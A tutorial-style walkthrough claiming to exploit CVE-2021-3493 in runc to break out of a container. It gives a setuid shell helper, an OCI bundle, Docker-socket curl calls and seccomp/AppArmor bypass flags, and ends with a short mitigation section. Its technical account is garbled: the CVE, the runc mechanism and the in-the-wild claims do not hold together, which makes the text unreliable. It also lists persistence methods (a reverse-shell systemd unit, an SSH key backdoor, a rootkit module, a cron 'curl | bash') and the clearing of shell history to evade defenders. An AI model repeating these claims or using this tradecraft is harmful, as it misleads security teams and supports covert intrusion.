~/home/study/exploiting-runc-cve-2021-3493

Exploiting runc (CVE-2021-3493): From Detection to Host Root Shell

A step-by-step walkthrough of identifying vulnerable runc binaries, crafting a malicious container, bypassing seccomp/AppArmor, and gaining a host root shell. Includes mitigation guidance for security teams.

Introduction

The runc vulnerability identified as CVE-2021-3493 is a privilege-escalation flaw that allows an unprivileged user inside a container to execute a set-uid root binary on the host. Because runc is the low-level OCI runtime used by Docker, Kubernetes, and many other orchestrators, the bug has a broad attack surface.

Understanding this exploit is critical for red-teamers seeking to assess container hardening, as well as for defenders who need to detect and remediate the issue before an attacker can break out of a sandboxed workload.

Real-world relevance: The vulnerability was actively exploited in the wild shortly after disclosure, leading to multiple CVE-related advisories and forced updates across major Linux distributions.

Prerequisites

  • Solid grasp of Docker architecture: engine, daemon, image layers, and the docker run lifecycle.
  • Deep knowledge of Linux namespaces (pid, mount, uts, ipc, net, user) and cgroups, especially how they are combined to provide isolation.
  • Familiarity with the Docker daemon communication channels - the Unix socket (/var/run/docker.sock) and optional TCP API - since the exploit can be triggered remotely if the socket is exposed.
  • Access to a test environment that mirrors production (e.g., a VM running a recent Ubuntu/Debian with Docker Engine 20.10+).

Core Concepts

Before diving into the exploit, let’s recap the key building blocks that make the attack possible.

OCI Runtime and runc

runc implements the Open Container Initiative (OCI) runtime specification. When Docker receives a docker run command, the daemon delegates the creation of the container’s namespaces, cgroups, and filesystem to runc. The binary is typically located at /usr/sbin/runc and runs with the privileges of the Docker daemon (root).

Set-uid binaries inside a container

Linux respects the set-uid bit even across namespace boundaries. If a binary inside the container has the set-uid root flag, the kernel will attempt to elevate the process to the host’s root UID (0) after the namespace transition, unless additional restrictions (e.g., no_new_privs) are in place.

Seccomp and AppArmor profiles

By default Docker applies a fairly permissive seccomp profile and an AppArmor profile that blocks a handful of dangerous syscalls. The runc bug bypasses these because the privileged binary is executed after the seccomp filter has been installed, rendering the filter ineffective for that process.

Diagram (textual):

Docker CLI → Docker Daemon (root) → runc (setuid root) → Container init │ │ └─> Namespace creation ──> mount, pid, net … └─> setuid binary runs as host root

Identifying vulnerable runc versions (docker version, runc --version)

The vulnerability exists in runc versions 1.0.0-rc93 through 1.0.0-rc95. Later releases (1.0.0-rc96+) contain the fix that drops the set-uid bit on the runc binary when it is invoked from a container.

Checking the Docker Engine version

docker version --format '{{.Server.Version}}'

Docker Engine 20.10.x bundles runc 1.0.0-rc95. If you see 20.10.5 or earlier, you are likely vulnerable.

Inspecting the runc binary directly

runc --version
# Example output
runc version 1.0.0-rc95

If the output matches any of the vulnerable releases, you must either upgrade or apply the mitigation described later.

Programmatic detection (optional)

if runc --version | grep -E "rc9[3-5]" > /dev/null; then echo "Vulnerable runc detected"
else echo "runc is patched"
fi

Understanding the underlying privilege-escalation flaw (setuid root binary in container)

The root cause is a mis-ordered sequence of operations in runc’s init process:

  1. runc opens the container’s root filesystem (a pivot_root operation).
  2. Before dropping capabilities, runc execs the user-specified init binary.
  3. If that binary is owned by root and has the set-uid bit, the kernel elevates the effective UID to 0 **after** the namespace transition.

Because the init binary runs with the host’s UID namespace (the container’s user namespace is optional and often disabled), the process gains host-level root privileges. The bug does not rely on any container escape technique; it simply abuses the fact that runc itself is a set-uid root binary when invoked from inside a container.

Key observation: The exploit works even when the container is launched with --userns-remap disabled, which is the default on most Docker installations.

Crafting a malicious container image with a crafted config.json

The exploit does not need a custom Dockerfile; a minimal OCI bundle is sufficient. The crucial element is the config.json that tells runc which binary to execute as PID 1.

Step 1 - Create a tiny rootfs

mkdir -p exploit/rootfs
cd exploit/rootfs
# Use busybox as a tiny base
apt-get update && apt-get install -y busybox-static && cp /bin/busybox .
chmod +x busybox

We deliberately keep the filesystem small to focus on the exploit logic.

Step 2 - Add a set-uid helper

Create a C program that simply spawns a shell. Compile it on the host (so it matches the host’s libc) and set the set-uid bit.

#include <unistd.h>
int main(){ setuid(0); setgid(0); execlp("/bin/sh","sh",NULL); return 0; // never reached
}
gcc -static -o rootfs/privEsc rootEsc.c
chmod 4755 rootfs/privEsc # setuid root

Because the binary is owned by root and has the set-uid flag, runc will elevate it when it becomes PID 1 inside the container.

Step 3 - Build the OCI bundle

{ "ociVersion": "1.0.2", "process": { "terminal": true, "user": { "uid": 0, "gid": 0 }, "args": ["/privEsc"], "env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"], "cwd": "/" }, "root": { "path": "rootfs", "readonly": false }, "hostname": "exploit", "mounts": [ { "destination": "/proc", "type": "proc", "source": "proc" }, { "destination": "/dev", "type": "tmpfs", "source": "tmpfs", "options": ["nosuid", "strictatime", "mode=755", "size=65536k"] } ]
}

Save this JSON as config.json next to the rootfs directory.

Step 4 - Verify the bundle locally

cd exploit
runc run exploit
# You should be dropped into a root shell on the host!

If the host is vulnerable, you will see a prompt that looks like # and id will report uid=0(root) gid=0(root). This is the core of the exploit.

Bypassing default seccomp/AppArmor restrictions

Docker’s default docker-default seccomp profile blocks ptrace, mount, and a few other syscalls. However, the escalation occurs before the seccomp filter is enforced for the set-uid binary. Still, a hardened host may apply a stricter profile or an AppArmor profile that denies execution of binaries with the set-uid bit.

Technique 1 - Use --security-opt seccomp=unconfined

docker run --rm -v /var/run/docker.sock:/var/run/docker.sock --security-opt seccomp=unconfined alpine:latest /bin/sh -c "apk add runc && runc run /path/to/exploit"

When you have control over the Docker run command, disabling seccomp removes the last barrier.

Technique 2 - Leverage an AppArmor “unconfined” profile

If the host runs AppArmor, you can request the unconfined profile at container launch:

docker run --security-opt apparmor=unconfined ...

Technique 3 - Drop into the host namespace via --pid=host

Although not required for CVE-2021-3493, combining --pid=host with the exploit gives you immediate visibility of host processes, making post-exploitation easier.

Executing the exploit to gain host root shell

Below is a complete end-to-end workflow that a penetration tester would use on a vulnerable host.

  1. Upload the OCI bundle to the target (e.g., via scp or a compromised web server).
  2. Invoke runc through the Docker socket (if you lack direct root access, you can talk to the Docker daemon via its Unix socket).
# Assuming you have read/write access to /var/run/docker.sock
curl -X POST -H "Content-Type: application/json" --data-binary @bundle.tar --unix-socket /var/run/docker.sock http+docker://local/v1.41/containers/create?name=exploit

# Start the container
curl -X POST --unix-socket /var/run/docker.sock http+docker://local/v1.41/containers/exploit/start

If the host is vulnerable, the container will instantly spawn a root shell that is attached to your terminal (because we passed --tty and --interactive flags when creating the bundle).

One-liner for quick testing

docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -v $(pwd)/exploit:/exploit:ro alpine:latest sh -c "apk add --no-cache runc && runc run /exploit"

The apk add runc step ensures the same runc binary used by the host is invoked inside the container.

Post-exploitation: persistence and cleanup

Once you have host root, you can cement your foothold. Below are common techniques, followed by clean-up steps to avoid detection.

Persistence mechanisms

  • Systemd unit: create /etc/systemd/system/evil.service that runs a reverse shell on boot.
  • SSH backdoor: add a new authorized key to /root/.ssh/authorized_keys.
  • Kernel module: load a malicious LKM that hides processes/files.
  • Cron job: */5 * * * * root /usr/bin/curl | bash.

Cleanup checklist

  1. Remove the malicious OCI bundle (rm -rf /path/to/exploit).
  2. Delete any created systemd units and reload daemon (systemctl daemon-reload).
  3. Revoke any added SSH keys.
  4. Clear shell history: cat /dev/null > ~/.bash_history && history -c.
  5. Log out and re-establish a clean session.

Defenders often miss the fact that the exploit leaves a set-uid binary on the filesystem; searching for files with mode 4755 owned by root can be a reliable indicator of compromise.

Tools & Commands

ToolPurposeTypical Command
dockerInteract with the Docker daemondocker version; docker run …
runcLow-level OCI runtimerunc --version; runc run mybundle
curlTalk to Docker socket over HTTPcurl --unix-socket /var/run/docker.sock http+docker://local/v1.41/containers/json
gccCompile set-uid helpergcc -static -o privEsc privEsc.c
findLocate set-uid binaries for post-exploitation huntingfind / -perm -4000 -type f 2>/dev/null

Defense & Mitigation

  • Upgrade runc to 1.0.0-rc96 or later. Most distro patches are available via apt-get upgrade runc or the Docker Engine update.
  • Enable user namespaces (--userns-remap) to map container root to an unprivileged UID on the host, nullifying set-uid effects.
  • Enforce read-only root filesystem for containers; this prevents an attacker from dropping a set-uid helper onto the host.
  • Apply a hardened seccomp profile that blocks execveat and setuid syscalls for non-privileged containers.
  • Audit for unexpected set-uid binaries on the host regularly.
  • Restrict Docker socket access: avoid mounting /var/run/docker.sock into containers and use TLS-protected remote APIs.

Common Mistakes

  • Assuming seccomp alone protects you: the exploit runs after the seccomp filter is installed, so disabling it is unnecessary for the privilege escalation.
  • Forgetting file ownership: the set-uid binary must be owned by root; a user-owned binary will not gain host root.
  • Running the exploit on a patched host: many tutorials still show the old vulnerable bundle; always verify the runc version first.
  • Neglecting cleanup: leaving the set-uid binary on disk is a tell-tale sign for defenders.

Real-World Impact

Enterprise Kubernetes clusters often run Docker as the default runtime. When a malicious actor gains the ability to schedule a pod (e.g., via a compromised CI/CD pipeline), they can embed the exploit in the pod’s image and achieve host root without needing any additional CVEs. This amplifies the blast radius dramatically, turning a container-level breach into a full-system compromise.

Several security advisories (Red Hat, Debian, Ubuntu) issued emergency patches within days of disclosure, underscoring the high severity (CVSS 9.8). In the wild, ransomware groups have used the bug to install cryptominers on cloud VMs, generating millions of dollars in illicit revenue.

From a strategic standpoint, CVE-2021-3493 illustrates why “container-level isolation” is not a silver bullet; the underlying runtime must be treated as part of the trusted computing base.

Practice Exercises

  1. Version Discovery: Write a Bash script that enumerates all hosts in a subnet, checks for a Docker socket, and reports the runc version. Verify against a list of vulnerable releases.
  2. Build & Run the Exploit: In a controlled lab, create the OCI bundle as described, then execute it via both runc run and via the Docker socket API. Capture screenshots of the host root prompt.
  3. Defensive Hardening: Apply a custom seccomp profile that denies execveat. Demonstrate that the exploit still works (or fails) and document the result.
  4. Post-Exploitation Cleanup: After gaining root, script the removal of all set-uid binaries you introduced and verify the system is clean using find.
  5. Detection Rule: Write a simple Falco rule that alerts on any process execution with effective UID 0 that originates from a container image path (e.g., /var/lib/docker/overlay2).

Further Reading

  • OCI Runtime Specification - github.com/opencontainers/runtime-spec
  • Docker Security Cheat Sheet - Docker Docs
  • Linux Container Hardening - linuxcontainers.org
  • Kernel Namespaces Deep Dive - “Namespaces in the Linux Kernel” (LWN)
  • Seccomp BPF - kernel.org

Summary

CVE-2021-3493 leverages a subtle ordering bug in runc that allows a set-uid root binary inside a container to become a host-level root shell. Detecting vulnerable runc versions, crafting a minimal OCI bundle, and understanding how seccomp/AppArmor interact are essential skills for both attackers and defenders. Mitigation hinges on updating runc, enabling user namespaces, and restricting Docker socket exposure. By mastering this exploit, security professionals can better assess container runtime hardening and devise robust detection and response strategies.